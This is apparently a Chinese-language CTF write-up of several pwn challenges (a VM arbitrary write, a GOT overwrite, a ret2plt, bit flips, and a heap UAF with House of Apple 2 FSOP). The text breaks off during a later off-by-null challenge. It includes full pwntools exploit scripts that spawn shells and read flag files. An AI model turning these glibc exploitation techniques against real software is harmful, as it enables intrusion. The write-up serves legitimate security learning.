0xfunCTF2026 Pwn wp by YHalo

chaos

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)

这是一个“输入十六进制字节码 -> VM 执行”的题

主函数:

+--------------------------------------------------------------+
| read(0x400 bytes) 从 stdin 读输入                            |
| 每 2 个 hex 字符 -> 1 个字节(sscanf("%2x"))                |
| 写进全局 bytecode 区 0x4050e0                                 |
| 然后调用 vm_dispatch(0x401542)                               |
+--------------------------------------------------------------+

初始化 VM 状态、读取用户输入的十六进制字符串、把 hex 两位一组转换成字节写进全局字节码区,然后执行 VM

0x401186(初始化函数)里可以看到三个关键全局变量被初始化:0x4052e8 是解码 key,初值 0x550x4052e9 是运行标志,初值 10x4052e0 是 PC(字节码读指针),初值默认是 0

dispatcher 在 0x401542,每轮读 3 字节:

    op = code[pc]   ^ key
    a  = code[pc+1] ^ key
    b  = code[pc+2] ^ key
    pc += 3
    idx = op % 7
    call handlers[idx](reg[a], b, a)
    key += 0x13

3 个字节,分别解码成 op/a/b。解码方式是 byte ^ key。读完 3 字节后 pc += 3,然后把 op%7 选 handler。这里 %7 不是直接 idiv,而是编译器展开的乘法优化,在 0x4015c30x4015ec 那段。handler 表在 .data,地址 0x404020,里面 7 个函数指针:

0x404020 -> 0x4011f5  halt
0x404028 -> 0x401222  set
0x404030 -> 0x401260  add
0x404038 -> 0x40130a  xor
0x404040 -> 0x4013b6  read
0x404048 -> 0x401463  write    <-- 这里write handler 内部会额外 key += 1
0x404050 -> 0x4014f0  debug

dispatcher 调用约定是 handlers[idx](reg[a], b, a),也就是 rdi=reg[a]rsi=brdx=a。调用后统一执行 key += 0x13。如果 opcode 是 write,handler 内部还会额外做一次 key += 1,所以编码器必须把这条额外状态迁移也模拟进去,否则 payload 会在中途解码错位

看 write(0x401463):

off = reg[addr_idx]
if (off > 0xfff) ->失败
else *(qword *)(0x4040a0 + 0x40 + off) = src_val

这里少了 off < 0 的判断,只检查了 off <= 0xfff,没有检查 off >= 0off 是有符号 qword,所以负数可以通过检查,最终形成向低地址任意写(qword)

                 低地址                                  高地址
    +-------------------------------+-------------------------------+
    | 0x404020: handler表[0..6]      | 0x4040a0: reg[0..7]          |
    | 函数指针表                     | VM寄存器                       |
    +-------------------------------+-------------------------------+
                                    ^
                                    |
                          VM内存基址 = 0x4040a0 + 0x40 = 0x4040e0

写入目标地址公式:target =0x4040a0 + 0x40 + off=0x4040e0+off

想覆盖 handlers[0](0x404020),off = 0x404020 – 0x4040e0 = -0xc0

所以只要让 off = -0xc0,write 就会把数据写到函数表首项

首项原本是 halt,改成 system@plt(0x401090) 后,再执行一条 opcode 0,dispatcher 就会以可控 rdisystem

EXP

#!/usr/bin/env python3
from pwn import *
import re


HOST = "chall.0xfun.org"
PORT = 31494


class ChaosAsm:
    def __init__(self):
        self.key = 0x55
        self.buf = bytearray()

    def emit(self, op: int, a: int, b: int):
        self.buf.extend(
            [
                (op & 0xFF) ^ self.key,
                (a & 0xFF) ^ self.key,
                (b & 0xFF) ^ self.key,
            ]
        )
        if op == 5:
            self.key = (self.key + 1) & 0xFF
        self.key = (self.key + 0x13) & 0xFF

    def op_set(self, reg_idx: int, val: int):
        self.emit(1, reg_idx, val)

    def op_read(self, dst_reg: int, addr_reg: int):
        self.emit(4, dst_reg, addr_reg)

    def op_write(self, src_reg: int, addr_reg: int):
        self.emit(5, src_reg, addr_reg)

    def write_byte(self, off: int, val: int):
        self.op_set(0, val)
        self.op_set(1, off)
        self.op_write(0, 1)

    def write_qword(self, off: int, qword: int):
        for i in range(8):
            self.write_byte(off + i, (qword >> (8 * i)) & 0xFF)

    def payload(self) -> bytes:
        return bytes(self.buf)


def build_payload() -> bytes:
    asm = ChaosAsm()

    # "/bin/sh\x00" @ (base + 0x40) = 0x4040e0
    cmd = b"/bin/sh\x00"
    for i, ch in enumerate(cmd):
        asm.write_byte(i, ch)

    # constants in writable VM memory
    # 0x10 -> -0xc0 (offset to 0x404020 from 0x4040e0)
    asm.write_qword(0x10, 0xFFFFFFFFFFFFFF40)
    # 0x18 -> system@plt
    asm.write_qword(0x18, 0x401090)
    # 0x20 -> pointer to "/bin/sh"
    asm.write_qword(0x20, 0x4040E0)

    # load constants into registers
    asm.op_set(1, 0x10)
    asm.op_read(2, 1)  # r2 = -0xc0
    asm.op_set(1, 0x18)
    asm.op_read(3, 1)  # r3 = system@plt
    asm.op_set(1, 0x20)
    asm.op_read(4, 1)  # r4 = "/bin/sh" ptr

    # overwrite fn_table[0] with system@plt
    asm.op_write(3, 2)

    # opcode 0 now calls system(r4)
    asm.emit(0, 4, 0)

    raw = asm.payload()
    if len(raw) > 0x201:
        raise ValueError(f"payload too large: {len(raw)} bytes")
    return raw


def start():
    if args.REMOTE:
        return remote(HOST, PORT)
    return process("./extracted/chaos")


def main():
    context.log_level = "info"
    payload = build_payload()
    io = start()
    io.recvuntil(b"Feed the chaos (Hex encoded): ")
    io.sendline(payload.hex().encode())
    io.recvuntil(b"Executing...\n", timeout=3)

    if args.INTERACTIVE:
        io.interactive()
        return

    # Use the spawned shell to discover candidate paths, then print flag.
    io.sendline(
        b"echo PWNED; id; pwd; ls -la; ls /; find / -maxdepth 4 -name '*flag*' 2>/dev/null"
    )
    io.sendline(
        b"cat /flag 2>/dev/null || cat /home/pwn/flag.txt 2>/dev/null || cat /home/ctf/flag 2>/dev/null || cat /app/flag 2>/dev/null || cat flag 2>/dev/null"
    )
    io.sendline(b"exit")

    out = io.recvall(timeout=3)
    print(out.decode(errors="ignore"))

    m = re.search(rb"(0xfun\{[^}\n]+\}|flag\{[^}\n]+\}|FLAG\{[^}\n]+\})", out)
    if m:
        log.success(f"FLAG: {m.group(1).decode(errors='ignore')}")
    else:
        log.warning("flag pattern not found in output; check raw output above")


if __name__ == "__main__":
    main()

0xfun{l00k5_l1k3_ch479p7_c0uldn7_50lv3_7h15_0n3}

what you have

    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

签到题,丢到ida第一眼就看中了这个后门函数win(),控制流打到这里就结束了:

void __noreturn win()
{
  FILE *stream; // [rsp+8h] [rbp-58h]
  _QWORD ptr[10]; // [rsp+10h] [rbp-50h] BYREF

  ptr[9] = __readfsqword(0x28u);
  stream = fopen("flag.txt", "r");
  memset(ptr, 0, 64);
  if ( !stream )
  {
    perror("Failed to open \"flag.txt\".");
    exit(1);
  }
  fread(ptr, 1uLL, 0x40uLL, stream);
  printf("I like what you GOT! Take this: %s.\n", (const char *)ptr);
  exit(0);
}

main 反编译后逻辑非常直接

int main() {
    unsigned long addr;
    unsigned long value;
    setbuf(stdout, 0);
    puts("Show me what you GOT!");
    scanf("%lu", &addr);
    puts("Show me what you GOT! I want to see what you GOT!");
    scanf("%lu", &value);
    *(unsigned long *)addr = value;
    puts("Goodbye!");
    return 0;
}

漏洞在 *(unsigned long *)addr = value,addrvalue 都由用户通过 %lu 完整控制,没有任何白名单或范围限制,这就是一个 8 字节任意地址写原语

利用思路很简单,程序在任意写之后会调用一次 puts("Goodbye!"),如果把 puts@got 改成 win,这次 puts 实际就会跳到 win。 因为 No PIEwin 地址固定 0x401236No RELRO,所以puts@got 可写,地址是 0x403430。 所以输入两次十进制数字即可:

第一行写入地址:4207664(即 0x403430) 第二行写入内容:4198966(即 0x401236

EXP

from pwn import *
io = remote("chall.0xfun.org", 59632)
io.recvuntil(b"GOT!")
io.sendline(str(0x403430).encode())  # puts@got
io.recvuntil(b"GOT!")
io.sendline(str(0x401236).encode())  # win
print(io.recvall(timeout=3).decode(errors="ignore"))

0xfun{g3tt1ng_schw1fty_w1th_g0t_0v3rwr1t3s_1384311_m4x1m4l}

Fridge

    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

一个 32 位菜单程序

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [esp+1h] [ebp-9h]

  puts(open_message);
  while ( 1 )
  {
    puts(options_message);                      // 全局变量,指针
    printf("> ");
    fflush(stdout);
    v4 = getchar();
    while ( getchar() != 10 )
      ;
    if ( v4 == '3' )
      break;
    if ( v4 > '3' )
      goto LABEL_12;
    if ( v4 == '1' )
    {
      print_food();
    }
    else if ( v4 == '2' )
    {
      set_welcome_message();
    }
    else
    {
LABEL_12:
      puts("Invalid option.");
    }
  }
  puts("Bye!");
  return 0;
}

选 `1`:print_food()

选 `2`:set_welcome_message() 

选 `3`:退出

漏洞在set_welcome_message:

int set_welcome_message()
{
  char s[32]; // [esp+Ch] [ebp-2Ch] BYREF
  FILE *stream; // [esp+2Ch] [ebp-Ch]

  puts("New welcome message (up to 32 chars):");
  gets(s);
  stream = fopen(config_filepath, "w");
  if ( !stream )
  {
    puts("Unable to open config file.");
    exit(1);
  }
  fprintf(stream, "welcome_msg: %s", s);
  return fclose(stream);
}

这里的gets没有设置长度检查,直接把用户输入写进栈缓冲区,可以造成栈缓冲区溢出

题目自带system@plt,gets@plt,exit@plt

08049060 <gets@plt>:
 8049060:       ff 25 0c c0 04 08       jmp    DWORD PTR ds:0x804c00c
 8049066:       68 18 00 00 00          push   0x18
 804906b:       e9 b0 ff ff ff          jmp    8049020 <_init+0x20>
080490a0 <system@plt>:
 80490a0:       ff 25 1c c0 04 08       jmp    DWORD PTR ds:0x804c01c
 80490a6:       68 38 00 00 00          push   0x38
 80490ab:       e9 70 ff ff ff          jmp    8049020 <_init+0x20>
080490b0 <exit@plt>:
 80490b0:       ff 25 20 c0 04 08       jmp    DWORD PTR ds:0x804c020
 80490b6:       68 40 00 00 00          push   0x40
 80490bb:       e9 60 ff ff ff          jmp    8049020 <_init+0x20>

接下来可以利用ret2plt来做,栈溢出到返回地址构造rop链

先调用 `gets(CMD_BUF)`,把命令字符串写进可写内存  

再调用 `system(CMD_BUF)` 执行命令拿 flag

中间插一个 `pop ebx ; ret`,用来把 `gets` 的参数弹掉,修正栈

构造如下:

+------------------+
| A * 48           |
+------------------+
| gets@plt         |
+------------------+
| pop ebx ; ret    |
+------------------+
| CMD_BUF          |  --> gets(CMD_BUF)
+------------------+
| system@plt       |
+------------------+
| exit@plt         |
+------------------+
| CMD_BUF          |  --> system(CMD_BUF)
+------------------+

gets(CMD_BUF) -> (清栈) -> system(CMD_BUF) -> exit()

EXP

#!/usr/bin/env python3
import os
import subprocess
import tempfile
from pathlib import Path

from pwn import *

HOST = "chall.0xfun.org"
PORT = 3900

context.clear(arch="i386")
context.binary = ELF("./vuln", checksec=False)

GETS_PLT = 0x08049060
SYSTEM_PLT = 0x080490A0
EXIT_PLT = 0x080490B0
POP_EBX_RET = 0x0804901E
OFFSET = 48
CMD_BUF = 0x0804C800

RUNTIME_DIR = Path(__file__).resolve().parent / ".glibc32"
RUNTIME_LIBDIR = RUNTIME_DIR / "usr/lib32"
RUNTIME_LOADER = RUNTIME_LIBDIR / "ld-linux.so.2"
SYSTEM_LOADER_CANDIDATES = (
    "/lib/ld-linux.so.2",
    "/lib32/ld-linux.so.2",
    "/lib/i386-linux-gnu/ld-linux.so.2",
)


def _bootstrap_glibc32():
    if RUNTIME_LOADER.exists():
        return True

    log.info("Bootstrapping local i386 runtime into ./.glibc32 ...")
    RUNTIME_DIR.mkdir(parents=True, exist_ok=True)

    with tempfile.TemporaryDirectory(prefix="glibc32-") as tmpdir:
        dl = subprocess.run(
            ["apt", "download", "-y", "libc6-i386"],
            cwd=tmpdir,
            stdout=subprocess.PIPE,
            stderr=subprocess.STDOUT,
            text=True,
        )
        if dl.returncode != 0:
            log.warning(dl.stdout.strip())
            return False

        debs = sorted(Path(tmpdir).glob("libc6-i386_*_amd64.deb"))
        if not debs:
            return False

        ex = subprocess.run(
            ["dpkg-deb", "-x", str(debs[0]), str(RUNTIME_DIR)],
            stdout=subprocess.PIPE,
            stderr=subprocess.STDOUT,
            text=True,
        )
        if ex.returncode != 0:
            log.warning(ex.stdout.strip())
            return False

    return RUNTIME_LOADER.exists()


def conn():
    if args.REMOTE:
        return remote(HOST, PORT)

    try:
        return process(context.binary.path)
    except FileNotFoundError:
        if not os.path.exists(context.binary.path):
            raise

        for loader in SYSTEM_LOADER_CANDIDATES:
            if os.path.exists(loader):
                return process(
                    [loader, "--library-path", os.path.dirname(loader), context.binary.path]
                )

        if _bootstrap_glibc32():
            return process(
                [str(RUNTIME_LOADER), "--library-path", str(RUNTIME_LIBDIR), context.binary.path]
            )

        log.error(
            "Cannot execute local i386 ELF (missing /lib/ld-linux.so.2). "
            "Try `python3 exploit.py REMOTE=1`."
        )


def main():
    io = conn()
    io.recvuntil(b"> ")
    io.sendline(b"2")
    io.recvuntil(b"New welcome message")
    io.recvline(timeout=1)

    # stage1: gets(CMD_BUF)
    # stage2: system(CMD_BUF)
    payload = b"A" * OFFSET
    payload += p32(GETS_PLT)
    payload += p32(POP_EBX_RET)
    payload += p32(CMD_BUF)
    payload += p32(SYSTEM_PLT)
    payload += p32(EXIT_PLT)
    payload += p32(CMD_BUF)
    io.sendline(payload)

    cmd = b"cat /flag 2>/dev/null || cat /home/ctf/flag 2>/dev/null || cat flag 2>/dev/null || cat flag.txt 2>/dev/null || ls -la"
    io.sendline(cmd)
    print(io.recvall(timeout=3).decode("latin-1", errors="ignore"))
    io.close()


if __name__ == "__main__":
    main()

bit_flips

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

main 很短,调用 setup 之后打印一句话,然后进 vulnsetupfopen("./commands","r") 并把 FILE* 放到全局变量 f。这个点后面非常关键,因为 cmd 读命令就是从这个 f 读的

FILE *setup()
{
  FILE *result; // rax

  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  setbuf(stderr, 0LL);
  result = fopen("./commands", "r");
  f = result;
  return result;
}

vuln 做了几件事。它先打印四个泄漏,分别是 &main&system&addresssbrk(NULL)。这里的 address 是栈上局部变量,位于 [rbp-0x10]。然后循环调用 bit_flip 三次,结束后把全局 lock-1 写成 0

unsigned __int64 vuln()
{
  void *v0; // rax
  int i; // [rsp+Ch] [rbp-14h]
  __int64 v3; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v3 = 0LL;
  printf("&main = %p\n", main);
  printf("&system = %p\n", &system);
  printf("&address = %p\n", &v3);
  v0 = sbrk(0LL);
  printf("sbrk(NULL) = %p\n", v0);
  for ( i = 0; i <= 2; ++i )
    bit_flip();
  lock = 0;
  return v4 - __readfsqword(0x28u);
}

bit_flip 的逻辑是读取一个地址和 bit 下标,然后把该地址对应字节做 xor (1 << bit)。bit 只能是 0..7。因为这里没有地址范围校验,所以这是一个“任意地址单 bit 翻转”原语。三次循环就是三次任意 bit flip

unsigned __int64 bit_flip()
{
  unsigned int v1; // [rsp+Ch] [rbp-14h] BYREF
  _BYTE *v2; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( lock != -1 )
    exit(-1);
  v2 = 0LL;
  v1 = 0;
  printf("> ");
  __isoc23_scanf("%llx", &v2);
  __isoc23_scanf("%d", &v1);
  if ( v1 < 8 )
    *v2 ^= 1 << v1;
  else
    puts("Go back to school");
  return v3 - __readfsqword(0x28u);
}

注意到程序还包含一个后门cmd

unsigned __int64 cmd()
{
  char s[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  while ( fgets(s, 24, f) )
  {
    s[strcspn(s, "\n")] = 0;
    if ( s[0] && system(s) == -1 )
    {
      perror("system");
      exit(-1);
    }
  }
  return v2 - __readfsqword(0x28u);
}

cmd 函数在 main 之后,程序正常流程不会调用。它循环执行 fgets(buf, 0x18, f),把读到的一行去掉换行后直接 system(buf),这就是一个现成的命令执行器

但是setup 里 f 指向 “./commands” 这个文件。
如果直接跳 cmd,它会执行文件里的固定命令

所以需要把 f->_fileno 改成 0 :

+------------------------+
| 原来:f 读 fd=3(文件) |
| 现在:f 读 fd=0(stdin) |
+------------------------+

这样 cmd 的 fgets 就会从网络输入读命令

第一步是控制返回地址。vuln 返回后会回到 main+0x1422。我们拿到 &address = rbp-0x10,所以保存的返回地址在 rbp+0x8,两者固定差值是 0x18,即 saved_rip = &address + 0x18。把最低字节从 0x22 翻 bit3 得到 0x2a,返回点从 main+0x1422 变成 main+0x142a,正好是 cmd+1

第二步和第三步用来改 f->_fileno

fileno 原值是 3:
3 = 0000 0011
翻 bit0 -> 0000 0010
翻 bit1 -> 0000 0000

f 指针题目没有直接泄漏,但给了 sbrk(0)。在远端环境里可以稳定观察到 f = sbrk(0) - 0x20d60

EXP

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./main', checksec=False)

HOST = 'chall.0xfun.org'
PORT = 19365
# On the remote challenge runtime, FILE* for ./commands is at (sbrk - 0x20d60).
F_FROM_BRK_DELTA = 0x20D60
FILE_FILENO_OFF = 0x70


def start():
    if args.REMOTE:
        return remote(HOST, PORT)
    return process([elf.path])


def parse_leak(io, name: bytes) -> int:
    io.recvuntil(name)
    return int(io.recvline().strip(), 16)


def flip(io, addr: int, bit: int):
    io.sendlineafter(b'> ', f'{addr:x}'.encode())
    io.sendline(str(bit).encode())


def exploit(io):
    io.recvuntil(b"I'm feeling super generous today\n")

    main_addr = parse_leak(io, b'&main = ')
    system_addr = parse_leak(io, b'&system = ')
    addr_leak = parse_leak(io, b'&address = ')
    brk_addr = parse_leak(io, b'sbrk(NULL) = ')

    log.info(f'&main    = {main_addr:#x}')
    log.info(f'&system  = {system_addr:#x}')
    log.info(f'&address = {addr_leak:#x}')
    log.info(f'sbrk     = {brk_addr:#x}')

    ret_addr = addr_leak + 0x18
    f_ptr = brk_addr - F_FROM_BRK_DELTA
    fileno_addr = f_ptr + FILE_FILENO_OFF

    log.info(f'vuln saved RIP @ {ret_addr:#x}')
    log.info(f'FILE* f          = {f_ptr:#x}')
    log.info(f'f->_fileno       = {fileno_addr:#x}')

    # 1) Change f->_fileno: 3 -> 0 so cmd() reads commands from stdin.
    flip(io, fileno_addr, 0)
    flip(io, fileno_addr, 1)

    # 2) Redirect vuln return: main+0x1422 -> main+0x142a (cmd+1).
    # Entering at cmd+1 skips push rbp, preserving stack alignment.
    flip(io, ret_addr, 3)


if __name__ == '__main__':
    io = start()
    exploit(io)
    io.sendline(b'cat flag')
    print(io.recvrepeat(1.5).decode('latin-1', errors='replace'), end='')

0xfun{3_b1t5_15_4ll_17_74k35_70_g37_RC3_safhu8}

67

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

这题是一个典型的菜单堆题,比赛刚开始好像远端libc版本还有问题,尝试执行 ld-linux 时也返回“Permission denied”

delete_note0x1465)有核心漏洞:只做了 free(notes[idx]),但没有把 notes[idx] 置空,也没有把 sizes[idx] 清零

unsigned __int64 delete_note()
{
  signed int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Index: ");
  v1 = get_int();
  if ( (unsigned int)v1 <= 9 && *((_QWORD *)&notes + v1) )
  {
    free(*((void **)&notes + v1));
    puts("Note deleted!");
  }
  else
  {
    puts("Invalid index");
  }
  return v2 - __readfsqword(0x28u);
}

可以做UAF

read_note0x1517)和 edit_note0x15fc)都只检查 notes[idx] != NULL,然后分别走 read(0, notes[idx], sizes[idx])write(1, notes[idx], sizes[idx])。由于 delete 后指针还在,这两条路分别形成 UAF 读和 UAF 写

先泄露libc:

申请 9 个 0x100

先 free 7 个填满 tcache

再 free 第 8 个,使其进入 unsorted bin

read 这个已释放块的前 8 字节(fd 指针)

接着是safe-linking下恢复堆地址(本题glibc2.42):

tcache next 指针是编码的:
    encoded = real_next ^ (chunk_addr >> 12)

当释放相邻 A、B 两个同尺寸 chunk(A 先释放,B 后释放):
leak(A) = A >> 12 // next = NULL
leak(B) = A ^ (B >> 12)

已知尺寸可得:
B = A + delta

所以可枚举低 12 位恢复 A/B,拿到真实堆地址

然后是double free的绕过

glibc tcache_entry 关键字段可理解为:

[0x00] next
[0x08] key

正常第二次 free 同一 chunk 会被 key 检查拦住。
但这里有 UAF 写,所以可以先:
edit(freed_chunk, next=任意, key=0)
再 free 同一 chunk,绕过检测

再接着是tache投毒,改fd把malloc的地址引导到_IO_list_all 附近,然后把 _IO_list_all 改成 fake FILE 地址:

safe-linking 编码公式:
  fake_fd = target ^ (victim_chunk_addr >> 12)

这里 target = libc_base + _IO_list_all

最后FSOP 触发 system

我用的是 fake FILE + _IO_wide_data + wide_vtable 的链(House of Apple 2)。FILE 主体放在堆上,vtable 设成真 _IO_wfile_jumps_wide_data 指向我们伪造的 wide_data,再让 wide_data 里的 _wide_vtable 指向伪造的 wide_vtable,最后把 wide_vtable+0x68__doallocate 槽位)改成 system

退出菜单触发 exit 后,glibc 在 flush 链路里会走到 _IO_wdoallocbuf,内部间接调用 (*wide_vtable->__doallocate)(fp)。这里 fp 就是 fake FILE 指针,而 system 把它当 char * 用,所以只要 FILE 起始位置放命令字符串就能执行

在堆上伪造结构链:

    fake_FILE
       |
       +--> _wide_data(指针) -------->改成指向fake_wide_data
                                        |
                                        +-->_wide_vtable(指针)-->fake_wide_vtable
                                                                 |
                                                                 +--> __doallocate = system

EXP

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF("./extract/chall", checksec=False)
libc = ELF("./extract/libc.so.6", checksec=False)
ld = "./extract/ld-linux-x86-64.so.2"
context.log_level = "info"

notes_sz = {}
ONE_OFF = int(args.OFF, 0) if args.OFF else 0x0


def start():
    port = int(args.PORT) if args.PORT else 30195
    if args.REMOTE:
        return remote("chall.0xfun.org", port)
    return process([ld, elf.path], env={"LD_PRELOAD": libc.path})


def cmd(io, c):
    io.sendlineafter(b"> ", str(c).encode())


def create(io, idx, size, data):
    notes_sz[idx] = size
    cmd(io, 1)
    io.sendlineafter(b"Index: ", str(idx).encode())
    io.sendlineafter(b"Size: ", str(size).encode())
    io.sendafter(b"Data: ", data.ljust(size, b"\x00")[:size])


def delete(io, idx):
    cmd(io, 2)
    io.sendlineafter(b"Index: ", str(idx).encode())


def edit(io, idx, data):
    cmd(io, 4)
    io.sendlineafter(b"Index: ", str(idx).encode())
    io.sendafter(b"New Data: ", data.ljust(notes_sz[idx], b"\x00")[: notes_sz[idx]])


def read_note(io, idx):
    cmd(io, 3)
    io.sendlineafter(b"Index: ", str(idx).encode())
    io.recvuntil(b"Data: ")
    d = io.recvn(notes_sz[idx], timeout=2)
    io.recvline(timeout=2)
    return d


def leak_libc(io):
    for i in range(9):
        create(io, i, 0x100, bytes([0x41 + i]) * 8)
    for i in range(7):
        delete(io, i)
    delete(io, 7)
    fd = u64(read_note(io, 7)[:8])
    libc.address = fd - 0x1E7C20
    log.success(f"libc base = {hex(libc.address)}")
    if not args.REMOTE:
        real = io.libs().get(libc.path)
        if real is not None:
            log.info(f"real libc base = {hex(real)} (delta {hex(libc.address - real)})")


def recover_pair(io, idx_a, idx_b, req_size):
    l0 = u64(read_note(io, idx_a)[:8])
    l1 = u64(read_note(io, idx_b)[:8])
    delta = (req_size + 0x10 + 0xF) & ~0xF
    a = None
    for low in range(0x1000):
        cand = (l0 << 12) | low
        if (cand ^ ((cand + delta) >> 12)) == l1:
            a = cand
            break
    if a is None:
        raise RuntimeError("failed to recover heap chunk")
    b = a + delta
    log.success(f"heap chunk A = {hex(a)}")
    log.success(f"heap chunk B = {hex(b)}")
    return a, b


def build_fake_file(fake_addr):
    wide_off = 0x200
    wvt_off = 0x300
    lock_off = 0x3E0

    wide = fake_addr + wide_off
    wvt = fake_addr + wvt_off
    lock = fake_addr + lock_off

    if args.CB:
        if args.CB.startswith("0x"):
            cb = int(args.CB, 16)
            cb_name = "custom"
        else:
            cb = libc.sym[args.CB]
            cb_name = args.CB
    else:
        cb = libc.sym["system"]
        cb_name = "system"
    log.info(f"callback({cb_name}) = {hex(cb)}")

    p = bytearray(0x400)
    if args.CMDHEX:
        cmd = bytes.fromhex(args.CMDHEX)
        if not cmd.endswith(b"\x00"):
            cmd += b"\x00"
    elif args.CMD:
        cmd = args.CMD.encode() + b"\x00"
    else:
        cmd = b" /bin/cat flag*;/bin/cat /flag*"
    log.info(f"cmd bytes = {cmd!r}")
    p[: len(cmd)] = cmd
    p[0x20:0x28] = p64(0)  # _IO_write_base
    p[0x28:0x30] = p64(1)  # _IO_write_ptr
    p[0x68:0x70] = p64(0)  # _chain
    p[0x88:0x90] = p64(lock)  # _lock
    p[0xA0:0xA8] = p64(wide)  # _wide_data
    p[0xD8:0xE0] = p64(libc.sym["_IO_wfile_jumps"])  # vtable

    p[wide_off + 0x18 : wide_off + 0x20] = p64(0)  # _IO_write_base
    p[wide_off + 0x20 : wide_off + 0x28] = p64(1)  # _IO_write_ptr
    p[wide_off + 0x30 : wide_off + 0x38] = p64(0)  # _IO_buf_base
    p[wide_off + 0xE0 : wide_off + 0xE8] = p64(wvt)  # _wide_vtable

    p[wvt_off + 0x68 : wvt_off + 0x70] = p64(cb)  # __doallocate
    p[lock_off : lock_off + 8] = p64(0)
    return bytes(p)


def overwrite_io_list_all(io, chunk_b_addr, fake_file_addr):
    edit(io, 3, b"X" * 8 + p64(0))
    delete(io, 3)
    target = libc.sym["_IO_list_all"]
    encoded = target ^ (chunk_b_addr >> 12)
    log.info(f"_IO_list_all = {hex(target)}")
    log.info(f"fake FILE = {hex(fake_file_addr)}")
    create(io, 4, 0x20, p64(encoded))
    create(io, 5, 0x20, b"Y" * 8)
    create(io, 6, 0x20, p64(fake_file_addr))


def main():
    io = start()
    leak_libc(io)

    create(io, 0, 0x400, b"A" * 8)
    create(io, 1, 0x400, b"B" * 8)
    delete(io, 0)
    delete(io, 1)
    _, fake_file = recover_pair(io, 0, 1, 0x400)
    edit(io, 1, build_fake_file(fake_file))

    create(io, 2, 0x20, b"C" * 8)
    create(io, 3, 0x20, b"D" * 8)
    delete(io, 2)
    delete(io, 3)
    _, small_b = recover_pair(io, 2, 3, 0x20)
    overwrite_io_list_all(io, small_b, fake_file)

    cmd(io, 5)
    if args.REMOTE and args.INTERACTIVE:
        io.interactive()
    else:
        if not args.REMOTE:
            io.sendline(b"echo PWNED;id;exit")
        out = io.recvall(timeout=2)
        print(out.decode("latin-1", "ignore"))
        if not args.REMOTE and hasattr(io, "poll"):
            log.info(f"poll = {io.poll()}")


if __name__ == "__main__":
    main()

0xfun{p4cm4n_Syu_br0k3_my_xpl0it_btW}

67 revenge

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

对比上一题67,这道题已经修复了uaf漏洞,还多了seccomp

白名单如下:

$ seccomp-tools dump ./chall
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0f 0xc000003e  if (A != ARCH_X86_64) goto 0017
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x0c 0xffffffff  if (A != 0xffffffff) goto 0017
 0005: 0x15 0x0a 0x00 0x00000000  if (A == read) goto 0016
 0006: 0x15 0x09 0x00 0x00000001  if (A == write) goto 0016
 0007: 0x15 0x08 0x00 0x00000002  if (A == open) goto 0016
 0008: 0x15 0x07 0x00 0x00000003  if (A == close) goto 0016
 0009: 0x15 0x06 0x00 0x00000005  if (A == fstat) goto 0016
 0010: 0x15 0x05 0x00 0x00000009  if (A == mmap) goto 0016
 0011: 0x15 0x04 0x00 0x0000000a  if (A == mprotect) goto 0016
 0012: 0x15 0x03 0x00 0x0000000c  if (A == brk) goto 0016
 0013: 0x15 0x02 0x00 0x0000003c  if (A == exit) goto 0016
 0014: 0x15 0x01 0x00 0x000000e7  if (A == exit_group) goto 0016
 0015: 0x15 0x00 0x01 0x00000101  if (A != openat) goto 0017
 0016: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0017: 0x06 0x00 0x00 0x00000000  return KILL

这题的漏洞点在edit_note(0x1786)函数

unsigned __int64 edit_note()
{
  signed int v1; // [rsp+0h] [rbp-10h]
  int bytes_read; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index: ");
  v1 = get_int();
  if ( (unsigned int)v1 < 0x10 && *((_QWORD *)&notes + v1) )
  {
    printf("Data: ");
    bytes_read = read(0, *((void **)&notes + v1), sizes[v1]);
    if ( bytes_read >= 0 )
      *(_BYTE *)(*((_QWORD *)&notes + v1) + bytes_read) = 0;
    puts("Updated!");
  }
  return v3 - __readfsqword(0x28u);
}

它先 read(0, notes[idx], sizes[idx]),返回值存在bytes_read,然后执行notes[idx][bytes_read] = 0;

相当于在read结束后的末尾加一个’\0′

如果bytes_read == sizes[idx],这个’\0’会写到 chunk user 区后一个字节,也就是相邻 chunk 头部,形成 off-by-null

假设相邻布局是:

   [ chunk A (idx2, req=0x3e8) ] [ chunk B (idx3, req=0x500) ]

当对 A 执行 edit,且 read 恰好读满 0x3e8 时:

   A[0x3e8] = 0
      |
      +--> 打到 B 头部关键字节(size 字段低字节)

利用链思路:

先把核心相邻结构摆好(req=用户申请大小,csz=真实 chunk size)

低地址
  |
  v
  +-------------------------------+
